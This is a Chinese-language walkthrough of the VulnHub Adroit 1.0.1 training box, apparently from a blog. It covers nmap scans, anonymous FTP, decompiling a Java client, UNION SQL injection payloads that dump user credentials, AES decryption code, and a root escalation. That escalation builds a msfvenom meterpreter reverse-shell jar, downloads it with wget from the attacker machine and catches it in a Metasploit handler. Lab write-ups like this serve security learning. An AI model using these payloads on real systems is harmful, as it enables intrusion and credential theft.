vulnhub靶场之ADROIT: 1.0.1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Adroit: 1.0.1,下载地址:https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova,下载后直接vbox打开即可。
知识点:shell反弹(jar)、sql注入、简单的代码编写、逆向、dns解析。
这个靶场比较推荐,因为之前做的大都是python、php的,这种java类的是很少遇到的,所以还是很有价值的,大家遇到有趣的靶场可以留言一起交流交流。

一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.13。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.13,显示开放了21端口、22端口、3000端口、3306端口,开启了ssh服务、ftp服务、mysql服务。

2.ftp服务
在nmap的扫描结果中显示ftp服务可以匿名登录,那我们访问下ftp服务,发现三个文件:adroitclient.jar、note.txt、structure.PNG。

查看下图片信息显示的应该是这个靶机的网络结构,note.txt文件是提示信息,但是现在不知道有什么用,先放在这。


二:逆向分析代码
对上面获得adroitclient.jar文件进行逆行,工具比较多就不一一列举了,这里就使用jd-gui这个工具了,使用jd-gui工具打开adroitclient.jar文件后包含四个java文件:AdroitClient.class、Cryptor.class、R.class、Idea.class。

对AdroitClient.class代码进行分析,得到建立连接使用的是adroit.local地址,因此我们需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.13 adroit.local。


然后对下面代码继续分析发现userName=zeus,password=god.thunder.olympus,继续对代码分析后面是post和get两个请求方式,这里咱们选择get方式,然后是下面的核心代码,简单的分析了下,大致意思是让我们传递一个id值,然后将该信息传递到了上面图片中的socks服务端,然后在接受一个返回的response值。因为具体的socks服务端是如何做的不太清除,目前只能分析出来这么多。

request.setOption("get");
System.out.println("Enter the phrase identifier : ");
String inp = scanner.nextLine();
String id = crypt.encrypt("Sup3rS3cur3Dr0it", inp);
Idea idea = new Idea();
idea.setId(id);
request.setIdea(idea);
os.writeObject(request);
R responseobj = (R)is.readObject();
String response = responseobj.getOption();
System.out.println(response);
三:SQL注入与解密
1.sql注入
在本地执行下adroitclient.jar文件,命令:java -jar adroitclient.jar,然后按照要求输入账户、密码、请求方式、id信息,进行测试(这里向socks服务端发送的是idea类),但是没什么返回信息。

后面想到他开启了mysql服务,这里是不是可能存在sql注入,然后就进行了测试,输入参数:1 union select 1,database()--,成功获得数据库信息:adroit。这里两个参数是因为idea类具有两个参数。

然后就是一直进行注入,获取数据库内的数据,执行步骤均同上只替换下最后的语句即可,最后成功获得加密的密码信息:l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=。
#获取数据库内表信息
1 union select 1,concat(table_name) from information schema.tables where table schema='adroit'--
#获取表内列信息
1 union select 1,concat(column_name) from information_schema.columns where table_name='users'--
#获取表内数据
1 union select 1,concat(id,0x7c,username,0x7c,password,0x0a) from users--

2.密码解密
对获得的加密字符串进行解密,解密的核心代码主要是Cryptor.class文件中的decrypt函数,解密后得到密码:just.write.my.ideas。

package com.company;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Main {
public static void main(String[] args) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {
String key = "Sup3rS3cur3Dr0it";
String text ="l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY=";
Key aesKey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, aesKey);
System.out.println(new String(cipher.doFinal(Base64.getDecoder().decode(text))));
}
}
3.获取shell
利用获得的账户和密码信息:writer/just.write.my.ideas进行ssh登录,成功获得shell权限。

获得shell权限后在/home/writer目录下发现user.txt文件,读取该文件成功获得flag值。

四:提权
1.查找利用点
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/java -jar /tmp/testingmyapp.jar。

2.生成shell反弹jar包
那我们就可以生成一个进行shell反弹的java包testingmyapp.jar。这里可以使用idea、eclipse、msf均可以,我开始使用的是idea制作的jar包,但是因为本机(win)java版本太高,导致到靶机里没法执行,然后找了另一个虚拟机(kali,java版本较低,未对高版本进行测试)使用制作了一个testingmyapp.jar,命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=6688 W >testingmyapp.jar。

然后开启web服务,将该文件下载到靶机中,命令:python -m http.server和wget http://192.168.0.11:8000/testingmyapp.jar。

4.msf利用获取root权限
然后在kali中启动msf并进行如下配置,做好配置之后在靶机的shell中已root权限启动testingmyapp.jar,命令:sudo /usr/bin/java -jar /tmp/testingmyapp.jar,成功获得root权限。
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.0.10
set LPORT 6688
run

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之ADROIT: 1.0.1的更多相关文章
- vulnhub靶场之JANGOW: 1.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...
- vulnhub靶场之GROTESQUE: 3.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:Grotesque: 3.0.1,下载地址:https://download.vulnhub.com/grotesque/grotesque3. ...
- vulnhub靶场之BUFFEMR: 1.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:BUFFEMR: 1.0.1,下载地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1. ...
- 【Vulnhub靶场】JANGOW: 1.0.1
时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
随机推荐
- 1008.Django模型基础03
一.关系表的数据操作 关系表中的数据操作 查看数据库中的表结构 一对多表关系数据的添加: 1. 第一种方式就是跟之前一样,用传参的方法添加,需要注意的是外键的值必须是关联表中已存在的值: 2. 第二种 ...
- 输入一段字符(只含有空格和字母,保证开头不为空格),里面有若干个字符串,求这些字符串的长度和,并输出最长字符串内容,如果有多个输出最先出现的那个字符串。以stop作为最后输入的字符串。
#include<stdio.h>#include<string.h>main(){ int i,j=0,m,count,max; char a[100]; ...
- Docker 容器与镜像
列出所有容器ID :docker ps -aq 查看所有运行或者不运行容器:docker ps -a 停止所有的container(容器),这样才能够删除其中的images:docker stop $ ...
- 【前端工程化】使用Nexus 搭建前端 npm 私服
参考文献1 - https://blog.51cto.com/lookingdream/3609619 参考文献2 - https://blog.csdn.net/u013278374/article ...
- 读书笔记<<世界是部金融史>>
1.权力只对来源负责.权力只会对其来源负责--孟德斯鸠<论法的精神> 2.能违反的是纪律,不能违反的是规律.人自然要遵从人性规律. 3.在金融市场中有一个法则,如果市场认为一件事是真的,那 ...
- Graphx二度关系
import org.apache.spark.graphx._import org.apache.spark.rdd.RDDval vertexArray = Array( (1L, (" ...
- 12-如何使用Genarator逆向工程
使用逆向工程,帮我们更快的建立pojo类.mapper接口及xml映射文件等,无需手写,替代了一部分的mybatis功能. 一.导入MyGenarator逆向工程项目 二.修改xml配置文件 三.执行 ...
- redis学习(一)常用命令
clear 清屏 info 获取当前redis的版本等信息 keys pattern 查找所有符合给定模式( pattern)的 key keys * 查找所有的key type key 查看某个ke ...
- 与NewBing一起写作:《Web应用安全入门》
前言 本文内容基于我的<Web应用安全入门>公开课视频. Prompt:下面是一篇课程音频转录后的文本,请把它转成老师和学生对话形式的文本,要求遵循原文结构,语言衔接流畅,保持 Markd ...
- 在CentOS上编译最新版linux内核(linux-5.19.9)
从官网下载最新版的Linux内核源码,本教程使用linux-5.19.9进行编译. 实验环境(CentOS-Stream-8) $ uname -a Linux localhost.localdoma ...